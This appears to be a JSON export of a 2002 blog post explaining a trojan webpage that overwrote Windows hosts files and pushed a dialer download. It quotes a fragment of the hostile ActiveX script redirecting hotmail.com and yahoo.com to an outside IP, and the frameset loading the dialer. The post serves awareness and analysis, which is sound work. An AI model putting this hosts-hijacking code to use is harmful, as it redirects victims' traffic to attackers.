{"id":198,"date":"2002-09-10T22:11:18","date_gmt":"2002-09-11T01:11:18","guid":{"rendered":"http:\/\/www.hoogervorst.ca\/arthur\/?p=198"},"modified":"2002-09-10T22:11:18","modified_gmt":"2002-09-11T01:11:18","slug":"best-greetings","status":"publish","type":"post","link":"http:\/\/www.hoogervorst.ca\/arthur\/?p=198","title":{"rendered":"Best Greetings"},"content":{"rendered":"<p><em><span class=\"dropcap\">T<\/span>he most likely way for<br \/>\nthe world to be destroyed, most experts agree, is by accident. That&#8217;s<br \/>\nwhere we come in; we&#8217;re computer professionals. We cause accidents.<\/em><\/p>\n<p><!--more--><\/p>\n<p><strong>Intro<\/strong><\/p>\n<p>Earlier this year there was a write up regarding the &#8216;localhost&#8217; troubles, experienced in <a href=\"http:\/\/www.diaries.com\/xsamplex\/2002\/02\/23\">February<\/a>.<br \/>\nAs&nbsp;suggested in that posting, apparantly the problems&nbsp;were in<br \/>\na webpage (Best-Greetings) that had a hidden script (Java or&nbsp;VB)<br \/>\nthat overwrote the localhost file.&nbsp;Not being able to&nbsp;recover<br \/>\nthe page from IE&#8217;s cache and thanks to fast action from Direct-Nic (who<br \/>\npulled the pages before more &#8216;damage&#8217; was done) there was only the big<br \/>\nquestion &#8216;how it actually happened&#8217;. Any programmer would be interested<br \/>\nin finding the answere to that question. The answer came in, just<br \/>\ntoday: a referer in my referers page came from&nbsp;a <a href=\"http:\/\/search.cometsystems.com\/search.php?product=ssearch&amp;qry=64.154.222.199\">searchengine<\/a>&nbsp;(CometSystems): The page in question also had <a href=\"http:\/\/www.chebucto.ns.ca\/%7Eaf380\/nanae-TROJAN-hosts-FILE.txt\">a link to a page<\/a> of&nbsp;a site maintained by&nbsp;<a href=\"http:\/\/www.chebucto.ns.ca\/%7Eaf380\/Profile.html\">Norman De Forest<\/a>. Finally a conclusion that has been bothering the author since February.<\/p>\n<p><strong>It&#8217;s a bird, it&#8217;s a plane, it&#8217;s a script (and such).<\/strong><\/p>\n<p>My&nbsp;first assumption was correct: a script that triggers<br \/>\nsomething to write (or rather rewrite)&nbsp;the host file. That<br \/>\n&#8216;something&#8217; here is an ActiveX object: I don&#8217;t think JavaScript has<br \/>\nexplicitly access to the (Windows) filesystem. The trick is in the<br \/>\nfollowing code (fragment quoted from Norman&#8217;s page):<\/p>\n<blockquote style=\"margin-right: 0px;\" dir=\"ltr\">\n<p class=\"quote\">function savefavfile(folder,label,url,icofile,iconum)<br \/>&nbsp;var oFi=FSO.CreateTextFile(folder+&#8221;\\hosts&#8221;);<br \/>&nbsp; oFi.WriteLine(&#8220;64.154.222.199 hotmail.com&#8221;);<br \/>&nbsp; oFi.WriteLine(&#8220;64.154.222.199 yahoo.com&#8221;);<br \/>[&#8230;]<\/p>\n<\/blockquote>\n<p>Hosts file?&nbsp;&nbsp;Basically&nbsp;a hosts file&nbsp;allows the<br \/>\n&#8216;Internet&#8217; software to quickly connect to a website, skipping the<br \/>\nprocess of a &#8216;domain name look-up&#8217;. For a layman&#8217;s description what it<br \/>\nexactly does, you may want to check <a href=\"http:\/\/www.accs-net.com\/hosts\/what_is_hosts.html\">here<\/a>.<\/p>\n<p><strong>It&#8217;s a script, a frame and a download.<\/strong><\/p>\n<p>The next part that comes in mind, is the part that my wife<br \/>\nconstantly was bothered with a dialogbox asking her if she wanted to<br \/>\ndownload a program. If I remember correctly the dialog was in German<br \/>\nand it looked like a real &#8216;signed&#8217; certificate. Back to Norman&#8217;s page:<\/p>\n<blockquote style=\"margin-right: 0px;\" dir=\"ltr\">\n<p dir=\"ltr\" class=\"quote\">[FRAMESET rows=&#8221;100%,*&#8221; framespacing=0 frameborder=&#8221;no&#8221;]<br \/>[FRAME SRC=&#8221;http:\/\/209.1.225.218\/myfiles\/amy.txt&#8221; noresize ]<br \/>[FRAME src=&#8221;dialer.php&#8221; noresize]<br \/>[\/frameset]<\/p>\n<\/blockquote>\n<p>The site in questions asks the user to download an executable.<br \/>\nApparantly there was a check if the program was already installed, but<br \/>\nI don&#8217;t recall this: we skipped this part here, and by that time I was<br \/>\nalready cleaning out the hosts file.<\/p>\n<p><strong>Neat-o.<\/strong><\/p>\n<p>I must admit that that particular night, I was&nbsp;surprised by the<br \/>\nboldness of the &#8216;trick&#8217;. As a programmer you try to keep up to several<br \/>\nflaws on a &#8216;flawed&#8217; system that is Windows. You easily<br \/>\noverlook&nbsp;holes like these: and with a &#8216;social engineering part&#8217; (a<br \/>\npart we have seen in many &#8216;scripting virusses&#8217;), it&#8217;s nearly impossible<br \/>\nto keep track of what regular users have done to &#8216;upset their own<br \/>\ncomputers&#8217;. However, the&nbsp;most worrying part is that&nbsp;most<br \/>\nusers have never heard of the &#8216;hosts&#8217; file, let alone what the use is<br \/>\nof that file. Ask yourself the following: if ordinary people would<br \/>\nhave&nbsp;known about the workings of the &#8216;hosts&#8217; file, they would have<br \/>\nrecognized the symptoms as described above.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Links\/Acknowledgements:<\/strong><\/p>\n<p><a href=\"http:\/\/www.chebucto.ns.ca\/%7Eaf380\/nanae-TROJAN-hosts-FILE.txt\">Norman De Forest page with the complete description of the trojan<\/a>&nbsp;(recommended reading, 100K).<\/p>\n<p><a href=\"http:\/\/groups.google.com\/groups?hl=en&amp;lr=&amp;ie=UTF-8&amp;th=a1e1e6f43f965cf4&amp;seekm=3c7848db%241_1%40nntp2.nac.net&amp;rnum=1\">Thread at Google groups<\/a>, as suggested by Norman.<\/p>\n<p><a href=\"http:\/\/www.accs-net.com\/hosts\/what_is_hosts.html\">Gorilla Design&#8217;s hosts file explanation in layman&#8217;s terms<\/a><\/p>\n<p><a href=\"http:\/\/www.diaries.com\/xsamplex\/2002\/02\/23\">First discussion on this blog<\/a>.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The most likely way for the world to be destroyed, most experts agree, is by accident. That&#8217;s where we come in; we&#8217;re computer professionals. We cause accidents.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[14],"tags":[],"_links":{"self":[{"href":"http:\/\/www.hoogervorst.ca\/arthur\/index.php?rest_route=\/wp\/v2\/posts\/198"}],"collection":[{"href":"http:\/\/www.hoogervorst.ca\/arthur\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.hoogervorst.ca\/arthur\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.hoogervorst.ca\/arthur\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.hoogervorst.ca\/arthur\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=198"}],"version-history":[{"count":0,"href":"http:\/\/www.hoogervorst.ca\/arthur\/index.php?rest_route=\/wp\/v2\/posts\/198\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.hoogervorst.ca\/arthur\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=198"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.hoogervorst.ca\/arthur\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=198"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.hoogervorst.ca\/arthur\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=198"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}